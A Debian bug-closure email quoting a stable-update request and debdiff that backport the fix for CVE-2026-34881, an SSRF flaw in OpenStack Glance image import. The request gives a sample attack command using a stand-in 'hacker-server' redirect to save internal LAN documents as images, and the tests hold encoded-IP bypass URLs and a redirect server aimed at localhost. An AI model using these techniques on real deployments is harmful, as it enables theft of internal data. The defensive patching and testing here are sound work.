Your message dated Sat, 16 May 2026 11:07:42 +0000
with message-id <[email protected]>
and subject line Released with 12.14
has caused the Debian Bug report #1132788,
regarding bookworm-pu: package glance/2:25.1.0-2+deb12u2
to be marked as done.

This means that you claim that the problem has been dealt with.
If this is not the case it is now your responsibility to reopen the
Bug report if necessary, and/or fix the problem forthwith.

(NB: If you are a system administrator and have no idea what this
message is talking about, this may indicate a serious mail system
misconfiguration somewhere. Please contact [email protected]
immediately.)


-- 
1132788: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1132788
Debian Bug Tracking System
Contact [email protected] with problems
--- Begin Message ---
Package: release.debian.org
Severity: normal
Tags: trixie
X-Debbugs-Cc: [email protected]
Control: affects -1 + src:glance
User: [email protected]
Usertags: pu

Hi,

I would like to close this bug through p-u:
https://bugs.debian.org/1131274

[ Reason ]
This fixes CVE-2026-34881 / OSSA-2026-004.

[ Impact ]
Before the fix, someone can trick Glance to attempt a web-download
from a server that will do a redirect to a LAN IP address. For example,
something like this:

openstack image import --method web-download --uri \
        https://hacker-server.example.com/malicious-redirect \
        my-image

may redirect to an IP in the LAN of the OpenStack deployment. As a
result, the content of the document on the LAN will be saved as a
glance image, and can be retrived through:

openstack image save --file stolen-document.txt my-image

The proposed fix checks if the web-download URL has a redirect
and denies the operation if that is the case.

[ Tests ]
The proposed patch includes new tests, and this has been tested
in upstream functional CI too.

[ Risks ]
We've put this patch in production, and it worked well for us.
I haven't tested specifically this version of Glance, but I
believe it should be fine, thanks to unit tests.

[ Checklist ]
  [x] *all* changes are documented in the d/changelog
  [x] I reviewed all changes and I approve them
  [x] attach debdiff against the package in (old)stable
  [x] the issue is verified as fixed in unstable

I've attached debdiff for both Trixie and Bookworm. Please
allow me to upload to both p-u.

Note: I attempted a backport to Bullseye and failed, as the
code changed too much. Maybe someone from the LTS team wants
to take-over this work, but I'm giving up. As a mitigation,
it's possible to use a web proxy for Glance that wouldn't
give access to the LAN.

Cheers,

Thomas Goirand (zigo)
diff -Nru glance-25.1.0/debian/changelog glance-25.1.0/debian/changelog
--- glance-25.1.0/debian/changelog      2024-06-21 10:38:56.000000000 +0200
+++ glance-25.1.0/debian/changelog      2026-03-19 17:08:44.000000000 +0100
@@ -1,3 +1,13 @@
+glance (2:25.1.0-2+deb12u2) bookworm; urgency=medium
+
+  * Server-Side Request Forgery (SSRF) vulnerabilities in Glance image import.
+    By use of HTTP redirects, an authenticated user can bypass URL validation
+    checks and redirect to internal services. Add upstream patch:
+    - OSSA-2026-004_Fix_SSRF_vulnerabilities_in_image_import_API.patch.
+    (Closes: #1131274).
+
+ -- Thomas Goirand <[email protected]>  Thu, 19 Mar 2026 17:08:44 +0100
+
 glance (2:25.1.0-2+deb12u1) bookworm-security; urgency=high
 
   * CVE-2024-32498: Arbitrary file access through custom QCOW2 external data.
diff -Nru 
glance-25.1.0/debian/patches/OSSA-2026-004_Fix_SSRF_vulnerabilities_in_image_import_API.patch
 
glance-25.1.0/debian/patches/OSSA-2026-004_Fix_SSRF_vulnerabilities_in_image_import_API.patch
--- 
glance-25.1.0/debian/patches/OSSA-2026-004_Fix_SSRF_vulnerabilities_in_image_import_API.patch
       1970-01-01 01:00:00.000000000 +0100
+++ 
glance-25.1.0/debian/patches/OSSA-2026-004_Fix_SSRF_vulnerabilities_in_image_import_API.patch
       2026-03-19 17:08:44.000000000 +0100
@@ -0,0 +1,1267 @@
+Description: OSSA-2026-004: Fix SSRF vulnerabilities in image import API
+ Fixed Server-Side Request Forgery (SSRF) vulnerabilities in Glance's image
+ import functionality that could allow attackers to bypass URL validation
+ and access internal resources.
+ .
+ The fix includes:
+ - IP address validation using Python's ipaddress module to reject encoded
+   IP formats (decimal, hexadecimal, octal) that could bypass blacklist checks
+ - HTTP redirect validation for web-download, glance-download, and OVF
+   processing to prevent redirect-based SSRF attacks
+ - URI validation for OVF processing which previously had no protection
+ .
+ The implementation uses Python's built-in ipaddress module which inherently
+ rejects all non-standard IP encodings and only accepts standard formats,
+ providing robust protection against IP encoding bypass attacks.
+Author: Abhishek Kekane <[email protected]>
+Date: Tue, 20 Jan 2026 19:02:08 +0000
+Assisted-by: Used Cursor (Auto) for unit tests.
+Bug: https://launchpad.net/bugs/2138602
+Bug: https://launchpad.net/bugs/2138672
+Bug: https://launchpad.net/bugs/2138675
+Bug-Debian: https://bugs.debian.org/1131274
+Change-Id: Ib8d337dc68411d18c70d5712cc4f0986ef6205f4
+Signed-off-by: Abhishek Kekane <[email protected]>
+Origin: https://review.opendev.org/c/openstack/glance/+/981299
+Last-Update: 2026-03-19
+
+Index: glance/glance/async_/flows/_internal_plugins/glance_download.py
+===================================================================
+--- glance.orig/glance/async_/flows/_internal_plugins/glance_download.py
++++ glance/glance/async_/flows/_internal_plugins/glance_download.py
+@@ -24,6 +24,7 @@ from taskflow.patterns import linear_flo
+ from glance.async_.flows._internal_plugins import base_download
+ from glance.async_ import utils
+ from glance.common import exception
++from glance.common.scripts import utils as script_utils
+ from glance.common import utils as common_utils
+ from glance.i18n import _, _LI, _LE
+ 
+@@ -66,7 +67,9 @@ class _DownloadGlanceImage(base_download
+             token = self.context.auth_token
+             request = urllib.request.Request(image_download_url,
+                                              headers={'X-Auth-Token': token})
+-            data = urllib.request.urlopen(request)
++            opener = urllib.request.build_opener(
++                script_utils.SafeRedirectHandler)
++            data = opener.open(request)
+         except Exception as e:
+             with excutils.save_and_reraise_exception():
+                 LOG.error(
+Index: glance/glance/async_/flows/api_image_import.py
+===================================================================
+--- glance.orig/glance/async_/flows/api_image_import.py
++++ glance/glance/async_/flows/api_image_import.py
+@@ -817,7 +817,9 @@ class _ImportMetadata(task.Task):
+             token = self.context.auth_token
+             request = urllib.request.Request(image_download_metadata_url,
+                                              headers={'X-Auth-Token': token})
+-            with urllib.request.urlopen(request) as payload:
++            opener = urllib.request.build_opener(
++                script_utils.SafeRedirectHandler)
++            with opener.open(request) as payload:
+                 data = json.loads(payload.read().decode('utf-8'))
+ 
+             if data.get('status') != 'active':
+Index: glance/glance/async_/flows/ovf_process.py
+===================================================================
+--- glance.orig/glance/async_/flows/ovf_process.py
++++ glance/glance/async_/flows/ovf_process.py
+@@ -18,6 +18,7 @@ import re
+ import shutil
+ import tarfile
+ import urllib
++import urllib.request
+ 
+ try:
+     from defusedxml import cElementTree as ET
+@@ -30,6 +31,9 @@ from oslo_serialization import jsonutils
+ from taskflow.patterns import linear_flow as lf
+ from taskflow import task
+ 
++from glance.common import exception
++from glance.common.scripts import utils as script_utils
++from glance.common import utils as common_utils
+ from glance.i18n import _, _LW
+ 
+ LOG = logging.getLogger(__name__)
+@@ -78,7 +82,13 @@ class _OVF_Process(task.Task):
+             uri = uri.split("file://")[-1]
+             return open(uri, "rb")
+ 
+-        return urllib.request.urlopen(uri)
++        if not common_utils.validate_import_uri(uri):
++            msg = (_("URI for OVF processing does not pass filtering: %s") %
++                   uri)
++            raise exception.ImportTaskError(msg)
++
++        opener = urllib.request.build_opener(script_utils.SafeRedirectHandler)
++        return opener.open(uri)
+ 
+     def execute(self, image_id, file_path):
+         """
+Index: glance/glance/common/scripts/utils.py
+===================================================================
+--- glance.orig/glance/common/scripts/utils.py
++++ glance/glance/common/scripts/utils.py
+@@ -19,14 +19,18 @@ __all__ = [
+     'set_base_image_properties',
+     'validate_location_uri',
+     'get_image_data_iter',
++    'SafeRedirectHandler',
+ ]
+ 
+ import urllib
++import urllib.error
++import urllib.request
+ 
+ from oslo_log import log as logging
+ from oslo_utils import timeutils
+ 
+ from glance.common import exception
++from glance.common import utils as common_utils
+ from glance.i18n import _, _LE
+ 
+ LOG = logging.getLogger(__name__)
+@@ -116,6 +120,15 @@ def validate_location_uri(location):
+         raise urllib.error.URLError(msg)
+ 
+ 
++class SafeRedirectHandler(urllib.request.HTTPRedirectHandler):
++    """HTTP redirect handler that validates redirect destinations."""
++    def redirect_request(self, req, fp, code, msg, headers, newurl):
++        if not common_utils.validate_import_uri(newurl):
++            msg = (_("Redirect to disallowed URL: %s") % newurl)
++            raise exception.ImportTaskError(msg)
++        return super().redirect_request(req, fp, code, msg, headers, newurl)
++
++
+ def get_image_data_iter(uri):
+     """Returns iterable object either for local file or uri
+ 
+@@ -139,7 +152,8 @@ def get_image_data_iter(uri):
+         # into memory. Some images may be quite heavy.
+         return open(uri, "rb")
+ 
+-    return urllib.request.urlopen(uri)
++    opener = urllib.request.build_opener(SafeRedirectHandler)
++    return opener.open(uri)
+ 
+ 
+ class CallbackIterator(object):
+Index: glance/glance/common/utils.py
+===================================================================
+--- glance.orig/glance/common/utils.py
++++ glance/glance/common/utils.py
+@@ -21,6 +21,7 @@ System-level utilities and helper functi
+ """
+ 
+ import errno
++import ipaddress
+ 
+ try:
+     from eventlet import sleep
+@@ -129,6 +130,65 @@ CONF.import_group('import_filtering_opts
+                   'glance.async_.flows._internal_plugins')
+ 
+ 
++def normalize_hostname(host):
++    """Normalize IP address to standard format or return hostname.
++
++    Uses ipaddress module to validate and normalize IP addresses, rejecting
++    encoded formats. For hostnames, requires DNS resolution to ensure they
++    are valid and not encoded IP attempts.
++
++    :param host: hostname or IP address
++    :returns: normalized IP address, hostname unchanged, or None
++    """
++    if not host:
++        return host
++
++    # NOTE(abhishekk): Try to parse as IPv4. ipaddress module only accepts
++    # standard format like 127.0.0.1. It rejects encoded formats like
++    # decimal (2130706433), hex (0x7f000001), or octal (017700000001).
++    try:
++        return str(ipaddress.IPv4Address(host))
++    except ValueError:
++        pass
++
++    # NOTE(abhishekk): Try to parse as IPv6. ipaddress module only accepts
++    # standard IPv6 format and rejects encoded formats.
++    try:
++        return str(ipaddress.IPv6Address(host))
++    except ValueError:
++        pass
++
++    # NOTE(abhishekk): Not valid IP address, check as hostname. Reject pure
++    # numeric strings like "2130706433" (decimal encoded IP). ipaddress module
++    # rejected it, but OS might still resolve using inet_aton() if not 
blocked.
++    if host.isdigit():
++        return None
++
++    # NOTE(abhishekk): Reject all numeric strings with dots like "127.1" or
++    # "10.1". These are shorthand IP addresses. ipaddress module rejects them
++    # because they need 4 octets, but OS may still resolve them. We block to
++    # prevent SSRF bypass attacks.
++    if all(c.isdigit() or c == '.' for c in host):
++        return None
++
++    # NOTE(abhishekk): Add trailing dot to force DNS lookup instead of numeric
++    # parsing. This blocks encoded IP formats like 0x7f000001 or 127.0x0.0.1
++    # because they fail DNS lookup. Only real hostnames that resolve via DNS
++    # are allowed.
++    testhost = host
++    if not testhost.endswith('.'):
++        testhost += '.'
++
++    try:
++        socket.getaddrinfo(testhost, 80)
++    except socket.gaierror:
++        # NOTE(abhishekk): DNS resolution failed, reject the hostname
++        return None
++
++    # NOTE(abhishekk): Valid and resolvable hostname, return unchanged
++    return host
++
++
+ def validate_import_uri(uri):
+     """Validate requested uri for Image Import web-download.
+ 
+@@ -166,9 +226,14 @@ def validate_import_uri(uri):
+     if not scheme or ((wl_schemes and scheme not in wl_schemes) or
+                       parsed_uri.scheme in bl_schemes):
+         return False
+-    if not host or ((wl_hosts and host not in wl_hosts) or
+-                    host in bl_hosts):
++
++    normalized_host = normalize_hostname(host)
++
++    if not normalized_host or (
++            (wl_hosts and normalized_host not in wl_hosts) or
++            normalized_host in bl_hosts):
+         return False
++
+     if port and ((wl_ports and port not in wl_ports) or
+                  port in bl_ports):
+         return False
+Index: glance/glance/tests/functional/v2/test_images.py
+===================================================================
+--- glance.orig/glance/tests/functional/v2/test_images.py
++++ glance/glance/tests/functional/v2/test_images.py
+@@ -15,9 +15,11 @@
+ 
+ import hashlib
+ import http.client as http
++import http.server as http_server
+ import os
+ import subprocess
+ import tempfile
++import threading
+ import time
+ import urllib
+ import uuid
+@@ -377,6 +379,164 @@ class TestImages(functional.FunctionalTe
+ 
+         self.stop_servers()
+ 
++    def test_web_download_redirect_validation(self):
++        """Test that redirect destinations are validated."""
++        self.config(allowed_ports=[80], group='import_filtering_opts')
++        self.config(disallowed_hosts=['127.0.0.1'],
++                    group='import_filtering_opts')
++        self.start_servers(**self.__dict__.copy())
++
++        # Create an image
++        path = self._url('/v2/images')
++        headers = self._headers({'content-type': 'application/json'})
++        data = jsonutils.dumps({
++            'name': 'redirect-test', 'type': 'kernel',
++            'disk_format': 'aki', 'container_format': 'aki'})
++        response = requests.post(path, headers=headers, data=data)
++        self.assertEqual(http.CREATED, response.status_code)
++        image = jsonutils.loads(response.text)
++        image_id = image['id']
++
++        # Try to import with redirect to disallowed host
++        # The redirect destination should be validated and rejected
++        # Create a local redirect server
++        def _get_redirect_handler_class():
++            class RedirectHTTPRequestHandler(
++                    http_server.BaseHTTPRequestHandler):
++                def do_GET(self):
++                    self.send_response(http.FOUND)
++                    self.send_header('Location', 'http://127.0.0.1:80/')
++                    self.end_headers()
++                    return
++
++                def log_message(self, *args, **kwargs):
++                    return
++
++        server_address = ('127.0.0.1', 0)
++        handler_class = _get_redirect_handler_class()
++        redirect_httpd = http_server.HTTPServer(server_address, handler_class)
++        redirect_port = redirect_httpd.socket.getsockname()[1]
++        redirect_thread = 
threading.Thread(target=redirect_httpd.serve_forever)
++        redirect_thread.daemon = True
++        redirect_thread.start()
++
++        redirect_uri = 'http://127.0.0.1:%s/' % redirect_port
++        path = self._url('/v2/images/%s/import' % image_id)
++        headers = self._headers({
++            'content-type': 'application/json',
++            'X-Roles': 'admin',
++        })
++        data = jsonutils.dumps({'method': {
++            'name': 'web-download',
++            'uri': redirect_uri
++        }})
++
++        # Import request may be accepted (202) but should fail during
++        # processing when redirect destination is validated
++        response = requests.post(path, headers=headers, data=data)
++        self.assertEqual(http.ACCEPTED, response.status_code)
++
++        # Clean up redirect server
++        redirect_httpd.shutdown()
++        redirect_httpd.server_close()
++
++        # Wait for the task to process and verify it failed
++        # The redirect validation in get_image_data_iter should prevent
++        # access to disallowed host (127.0.0.1)
++        time.sleep(5)  # Give task time to process
++
++        # Verify the task failed due to redirect validation
++        path = self._url('/v2/images/%s/tasks' % image_id)
++        response = requests.get(path, headers=self._headers())
++        self.assertEqual(http.OK, response.status_code)
++        tasks = jsonutils.loads(response.text)['tasks']
++        tasks = sorted(tasks, key=lambda t: t['updated_at'])
++        self.assertGreater(len(tasks), 0)
++        task = tasks[-1]
++        self.assertEqual('failure', task['status'])
++
++        # Verify the image status is still queued (not active)
++        # since the import failed - this proves the SSRF was prevented
++        path = self._url('/v2/images/%s' % image_id)
++        response = requests.get(path, headers=self._headers())
++        self.assertEqual(http.OK, response.status_code)
++        image = jsonutils.loads(response.text)
++        self.assertEqual('queued', image['status'])
++        # Image should not have checksum or size since import failed
++        # If checksum/size exist, it means data was downloaded (SSRF 
succeeded)
++        self.assertIsNone(image.get('checksum'))
++        # Image should not have size since import failed
++        self.assertIsNone(image.get('size'))
++
++        # Clean up
++        path = self._url('/v2/images/%s' % image_id)
++        response = requests.delete(path, headers=self._headers())
++        self.assertEqual(http.NO_CONTENT, response.status_code)
++
++        self.stop_servers()
++
++    def test_web_download_ip_normalization(self):
++        """Test that encoded IP addresses are normalized and blocked."""
++        self.config(allowed_ports=[80], group='import_filtering_opts')
++        self.config(disallowed_hosts=['127.0.0.1'],
++                    group='import_filtering_opts')
++        self.start_servers(**self.__dict__.copy())
++
++        # Create an image
++        path = self._url('/v2/images')
++        headers = self._headers({'content-type': 'application/json'})
++        data = jsonutils.dumps({
++            'name': 'ip-encoding-test', 'type': 'kernel',
++            'disk_format': 'aki', 'container_format': 'aki'})
++        response = requests.post(path, headers=headers, data=data)
++        self.assertEqual(http.CREATED, response.status_code)
++        image = jsonutils.loads(response.text)
++        image_id = image['id']
++
++        # Test that encoded IP (2130706433 = 127.0.0.1) is blocked
++        # after normalization
++        encoded_ip_uri = 'http://2130706433:80/'
++        path = self._url('/v2/images/%s/import' % image_id)
++        headers = self._headers({
++            'content-type': 'application/json',
++            'X-Roles': 'admin',
++        })
++        data = jsonutils.dumps({'method': {
++            'name': 'web-download',
++            'uri': encoded_ip_uri
++        }})
++        # Should be rejected because encoded IP normalizes to 127.0.0.1
++        # which is in disallowed_hosts
++        # Validation happens at API level, so should return 400
++        response = requests.post(path, headers=headers, data=data)
++        # Should be rejected with 400 Bad Request
++        self.assertEqual(400, response.status_code)
++
++        # Test octal integer encoded IP (017700000001 = 127.0.0.1)
++        octal_int_uri = 'http://017700000001:80/'
++        data = jsonutils.dumps({'method': {
++            'name': 'web-download',
++            'uri': octal_int_uri
++        }})
++        response = requests.post(path, headers=headers, data=data)
++        self.assertEqual(400, response.status_code)
++
++        # Test octal dotted-decimal encoded IP (0177.0.0.01 = 127.0.0.1)
++        octal_dotted_uri = 'http://0177.0.0.01:80/'
++        data = jsonutils.dumps({'method': {
++            'name': 'web-download',
++            'uri': octal_dotted_uri
++        }})
++        response = requests.post(path, headers=headers, data=data)
++        self.assertEqual(400, response.status_code)
++
++        # Clean up
++        path = self._url('/v2/images/%s' % image_id)
++        response = requests.delete(path, headers=self._headers())
++        self.assertEqual(http.NO_CONTENT, response.status_code)
++
++        self.stop_servers()
++
+     def test_image_lifecycle(self):
+         # Image list should be empty
+         self.api_server.show_multiple_locations = True
+Index: glance/glance/tests/unit/async_/flows/test_api_image_import.py
+===================================================================
+--- glance.orig/glance/tests/unit/async_/flows/test_api_image_import.py
++++ glance/glance/tests/unit/async_/flows/test_api_image_import.py
+@@ -25,6 +25,7 @@ import taskflow
+ import glance.async_.flows.api_image_import as import_flow
+ from glance.common import exception
+ from glance.common.scripts.image_import import main as image_import
++from glance.common.scripts import utils as script_utils
+ from glance import context
+ from glance.domain import ExtraProperties
+ from glance import gateway
+@@ -1176,6 +1177,11 @@ class TestImportMetadata(test_utils.Base
+             'extra_metadata': 'hello',
+             'size': '12345'
+         }
++        mock_opener = mock.MagicMock()
++        mock_payload = mock.MagicMock()
++        mock_payload.read.return_value = b'{"status": "active"}'
++        mock_opener.open.return_value.__enter__.return_value = mock_payload
++        mock_request.build_opener.return_value = mock_opener
+         task = import_flow._ImportMetadata(TASK_ID1, TASK_TYPE,
+                                            self.context, self.wrapper,
+                                            self.import_req)
+@@ -1184,6 +1190,7 @@ class TestImportMetadata(test_utils.Base
+             'https://other.cloud.foo/image/v2/images/%s' % (
+                 IMAGE_ID1),
+             headers={'X-Auth-Token': self.context.auth_token})
++        mock_request.build_opener.assert_called_once()
+         mock_gge.assert_called_once_with(self.context, 'RegionTwo', 'public')
+         action.set_image_attribute.assert_called_once_with(
+             disk_format='qcow2',
+@@ -1212,8 +1219,11 @@ class TestImportMetadata(test_utils.Base
+     @mock.patch('glance.async_.utils.get_glance_endpoint')
+     def test_execute_fail_remote_glance_unreachable(self, mock_gge, mock_r):
+         action = self.wrapper.__enter__.return_value
+-        mock_r.urlopen.side_effect = urllib.error.HTTPError(
++        mock_gge.return_value = 'https://other.cloud.foo/image'
++        mock_opener = mock.MagicMock()
++        mock_opener.open.side_effect = urllib.error.HTTPError(
+             '/file', 400, 'Test Fail', {}, None)
++        mock_r.build_opener.return_value = mock_opener
+         task = import_flow._ImportMetadata(TASK_ID1, TASK_TYPE,
+                                            self.context, self.wrapper,
+                                            self.import_req)
+@@ -1231,6 +1241,11 @@ class TestImportMetadata(test_utils.Base
+         mock_json.loads.return_value = {
+             'status': 'queued',
+         }
++        mock_opener = mock.MagicMock()
++        mock_payload = mock.MagicMock()
++        mock_payload.read.return_value = b'{"status": "queued"}'
++        mock_opener.open.return_value.__enter__.return_value = mock_payload
++        mock_request.build_opener.return_value = mock_opener
+         task = import_flow._ImportMetadata(TASK_ID1, TASK_TYPE,
+                                            self.context, self.wrapper,
+                                            self.import_req)
+@@ -1254,6 +1269,11 @@ class TestImportMetadata(test_utils.Base
+             'os_hash': 'hash',
+             'extra_metadata': 'hello',
+         }
++        mock_opener = mock.MagicMock()
++        mock_payload = mock.MagicMock()
++        mock_payload.read.return_value = b'{"status": "active"}'
++        mock_opener.open.return_value.__enter__.return_value = mock_payload
++        mock_request.build_opener.return_value = mock_opener
+         task = import_flow._ImportMetadata(TASK_ID1, TASK_TYPE,
+                                            self.context, self.wrapper,
+                                            self.import_req)
+@@ -1262,6 +1282,7 @@ class TestImportMetadata(test_utils.Base
+             'https://other.cloud.foo/image/v2/images/%s' % (
+                 IMAGE_ID1),
+             headers={'X-Auth-Token': self.context.auth_token})
++        mock_request.build_opener.assert_called_once()
+         mock_gge.assert_called_once_with(self.context, 'RegionTwo', 'public')
+         action.set_image_attribute.assert_called_once_with(
+             disk_format='qcow2',
+@@ -1271,6 +1292,71 @@ class TestImportMetadata(test_utils.Base
+             'os_hash': 'hash'
+         })
+ 
++    @mock.patch('urllib.request')
++    @mock.patch('glance.async_.utils.get_glance_endpoint')
++    def test_import_metadata_redirect_validation(self, mock_gge,
++                                                 mock_request):
++        """Test redirect destinations are validated during metadata fetch."""
++        mock_gge.return_value = 'https://other.cloud.foo/image'
++        task = import_flow._ImportMetadata(TASK_ID1, TASK_TYPE,
++                                           self.context, self.wrapper,
++                                           self.import_req)
++        mock_opener = mock.MagicMock()
++        # Simulate redirect to disallowed URL
++        mock_opener.open.side_effect = exception.ImportTaskError(
++            "Redirect to disallowed URL: http://127.0.0.1:5000/";)
++        mock_request.build_opener.return_value = mock_opener
++        self.assertRaises(exception.ImportTaskError, task.execute)
++        # Verify SafeRedirectHandler is used
++        mock_request.build_opener.assert_called_once()
++        # Verify the handler passed is SafeRedirectHandler
++        call_args = mock_request.build_opener.call_args
++        # Check if SafeRedirectHandler class or instance is in args
++        found_handler = (
++            any(isinstance(arg, script_utils.SafeRedirectHandler)
++                for arg in call_args.args) or
++            script_utils.SafeRedirectHandler in call_args.args)
++        self.assertTrue(
++            found_handler,
++            "SafeRedirectHandler should be used for redirect validation")
++
++    @mock.patch('urllib.request')
++    @mock.patch('glance.async_.flows.api_image_import.json')
++    @mock.patch('glance.async_.utils.get_glance_endpoint')
++    def test_import_metadata_uses_safe_redirect_handler(self, mock_gge,
++                                                        mock_json,
++                                                        mock_request):
++        """Test that SafeRedirectHandler is used and allows valid 
redirects."""
++        mock_gge.return_value = 'https://other.cloud.foo/image'
++        mock_json.loads.return_value = {
++            'status': 'active',
++            'disk_format': 'qcow2',
++            'container_format': 'bare',
++            'size': '12345'
++        }
++        mock_opener = mock.MagicMock()
++        mock_payload = mock.MagicMock()
++        mock_payload.read.return_value = b'{"status": "active"}'
++        mock_opener.open.return_value.__enter__.return_value = mock_payload
++        mock_request.build_opener.return_value = mock_opener
++        task = import_flow._ImportMetadata(TASK_ID1, TASK_TYPE,
++                                           self.context, self.wrapper,
++                                           self.import_req)
++        # Execute should succeed with valid redirect
++        result = task.execute()
++        # Verify build_opener was called with SafeRedirectHandler
++        mock_request.build_opener.assert_called_once()
++        call_args = mock_request.build_opener.call_args
++        found_handler = (
++            any(isinstance(arg, script_utils.SafeRedirectHandler)
++                for arg in call_args.args) or
++            script_utils.SafeRedirectHandler in call_args.args)
++        self.assertTrue(
++            found_handler,
++            "SafeRedirectHandler should be passed to build_opener")
++        # Verify execution succeeded (handler allows valid redirects)
++        self.assertEqual(12345, result)
++
+     def test_revert_rollback_metadata_value(self):
+         action = self.wrapper.__enter__.return_value
+         task = import_flow._ImportMetadata(TASK_ID1, TASK_TYPE,
+Index: glance/glance/tests/unit/async_/flows/test_glance_download.py
+===================================================================
+--- glance.orig/glance/tests/unit/async_/flows/test_glance_download.py
++++ glance/glance/tests/unit/async_/flows/test_glance_download.py
+@@ -22,7 +22,8 @@ from oslo_utils.fixture import uuidsenti
+ 
+ from glance.async_.flows._internal_plugins import glance_download
+ from glance.async_.flows import api_image_import
+-import glance.common.exception
++from glance.common import exception
++from glance.common.scripts import utils as script_utils
+ import glance.context
+ from glance import domain
+ import glance.tests.utils as test_utils
+@@ -72,37 +73,49 @@ class TestGlanceDownloadTask(test_utils.
+         self.image_repo.get.return_value = mock.MagicMock(
+             extra_properties={'os_glance_import_task': self.task_id})
+ 
++    @mock.patch('glance.common.utils.socket.getaddrinfo')
+     @mock.patch.object(filesystem.Store, 'add')
+     @mock.patch('glance.async_.utils.get_glance_endpoint')
+-    def test_glance_download(self, mock_gge, mock_add):
++    def test_glance_download(self, mock_gge, mock_add, mock_getaddrinfo):
++        mock_getaddrinfo.return_value = [('', '', '', '', ('', 80))]
+         mock_gge.return_value = 'https://other.cloud.foo/image'
+         glance_download_task = glance_download._DownloadGlanceImage(
+             self.context, self.task.task_id, self.task_type,
+             self.action_wrapper, ['foo'],
+             'RegionTwo', uuidsentinel.remote_image, 'public')
+         with mock.patch('urllib.request') as mock_request:
++            mock_opener = mock.MagicMock()
++            mock_response = mock.MagicMock()
++            mock_opener.open.return_value = mock_response
++            mock_request.build_opener.return_value = mock_opener
+             mock_add.return_value = ["path", 12345]
+             self.assertEqual(glance_download_task.execute(12345), "path")
+             mock_add.assert_called_once_with(
+                 self.image_id,
+-                mock_request.urlopen.return_value, 0)
++                mock_response, 0)
+             mock_request.Request.assert_called_once_with(
+                 'https://other.cloud.foo/image/v2/images/%s/file' % (
+                     uuidsentinel.remote_image),
+                 headers={'X-Auth-Token': self.context.auth_token})
++            mock_request.build_opener.assert_called_once()
+         mock_gge.assert_called_once_with(self.context, 'RegionTwo', 'public')
+ 
++    @mock.patch('glance.common.utils.socket.getaddrinfo')
+     @mock.patch.object(filesystem.Store, 'add')
+     @mock.patch('glance.async_.utils.get_glance_endpoint')
+-    def test_glance_download_failed(self, mock_gge, mock_add):
++    def test_glance_download_failed(self, mock_gge, mock_add,
++                                    mock_getaddrinfo):
++        mock_getaddrinfo.return_value = [('', '', '', '', ('', 80))]
+         mock_gge.return_value = 'https://other.cloud.foo/image'
+         glance_download_task = glance_download._DownloadGlanceImage(
+             self.context, self.task.task_id, self.task_type,
+             self.action_wrapper, ['foo'],
+             'RegionTwo', uuidsentinel.remote_image, 'public')
+         with mock.patch('urllib.request') as mock_request:
+-            mock_request.urlopen.side_effect = urllib.error.HTTPError(
++            mock_opener = mock.MagicMock()
++            mock_opener.open.side_effect = urllib.error.HTTPError(
+                 '/file', 400, 'Test Fail', {}, None)
++            mock_request.build_opener.return_value = mock_opener
+             self.assertRaises(urllib.error.HTTPError,
+                               glance_download_task.execute,
+                               12345)
+@@ -127,21 +140,28 @@ class TestGlanceDownloadTask(test_utils.
+                           glance_download_task.execute, 12345)
+         mock_request.assert_not_called()
+ 
++    @mock.patch('glance.common.utils.socket.getaddrinfo')
+     @mock.patch.object(filesystem.Store, 'add')
+     @mock.patch('glance.async_.utils.get_glance_endpoint')
+-    def test_glance_download_size_mismatch(self, mock_gge, mock_add):
++    def test_glance_download_size_mismatch(self, mock_gge, mock_add,
++                                           mock_getaddrinfo):
++        mock_getaddrinfo.return_value = [('', '', '', '', ('', 80))]
+         mock_gge.return_value = 'https://other.cloud.foo/image'
+         glance_download_task = glance_download._DownloadGlanceImage(
+             self.context, self.task.task_id, self.task_type,
+             self.action_wrapper, ['foo'],
+             'RegionTwo', uuidsentinel.remote_image, 'public')
+         with mock.patch('urllib.request') as mock_request:
++            mock_opener = mock.MagicMock()
++            mock_response = mock.MagicMock()
++            mock_opener.open.return_value = mock_response
++            mock_request.build_opener.return_value = mock_opener
+             mock_add.return_value = ["path", 1]
+             self.assertRaises(glance.common.exception.ImportTaskError,
+                               glance_download_task.execute, 12345)
+             mock_add.assert_called_once_with(
+                 self.image_id,
+-                mock_request.urlopen.return_value, 0)
++                mock_response, 0)
+             mock_request.Request.assert_called_once_with(
+                 'https://other.cloud.foo/image/v2/images/%s/file' % (
+                     uuidsentinel.remote_image),
+@@ -165,3 +185,70 @@ class TestGlanceDownloadTask(test_utils.
+         mock_validate.assert_called_once_with(
+             'https://other.cloud.foo/image/v2/images/%s/file' % (
+                 uuidsentinel.remote_image))
++
++    @mock.patch('glance.common.utils.socket.getaddrinfo')
++    @mock.patch('urllib.request')
++    @mock.patch('glance.async_.utils.get_glance_endpoint')
++    def test_glance_download_redirect_validation(self, mock_gge,
++                                                 mock_request,
++                                                 mock_getaddrinfo):
++        """Test redirect destinations are validated during image download."""
++        mock_getaddrinfo.return_value = [('', '', '', '', ('', 80))]
++        mock_gge.return_value = 'https://other.cloud.foo/image'
++        glance_download_task = glance_download._DownloadGlanceImage(
++            self.context, self.task.task_id, self.task_type,
++            self.action_wrapper, ['foo'],
++            'RegionTwo', uuidsentinel.remote_image, 'public')
++        mock_opener = mock.MagicMock()
++        # Simulate redirect to disallowed URL
++        mock_opener.open.side_effect = exception.ImportTaskError(
++            "Redirect to disallowed URL: http://127.0.0.1:5000/";)
++        mock_request.build_opener.return_value = mock_opener
++        self.assertRaises(exception.ImportTaskError,
++                          glance_download_task.execute, 12345)
++        # Verify SafeRedirectHandler is used
++        mock_request.build_opener.assert_called_once()
++        # Verify the handler passed is SafeRedirectHandler
++        call_args = mock_request.build_opener.call_args
++        # Check if SafeRedirectHandler class or instance is in args
++        found_handler = (
++            any(isinstance(arg, script_utils.SafeRedirectHandler)
++                for arg in call_args.args) or
++            script_utils.SafeRedirectHandler in call_args.args)
++        self.assertTrue(
++            found_handler,
++            "SafeRedirectHandler should be used for redirect validation")
++
++    @mock.patch('glance.common.utils.socket.getaddrinfo')
++    @mock.patch.object(filesystem.Store, 'add')
++    @mock.patch('urllib.request')
++    @mock.patch('glance.async_.utils.get_glance_endpoint')
++    def test_glance_download_uses_safe_redirect_handler(
++            self, mock_gge, mock_request, mock_add, mock_getaddrinfo):
++        """Test that SafeRedirectHandler is used and allows valid 
execution."""
++        mock_getaddrinfo.return_value = [('', '', '', '', ('', 80))]
++        mock_gge.return_value = 'https://other.cloud.foo/image'
++        glance_download_task = glance_download._DownloadGlanceImage(
++            self.context, self.task.task_id, self.task_type,
++            self.action_wrapper, ['foo'],
++            'RegionTwo', uuidsentinel.remote_image, 'public')
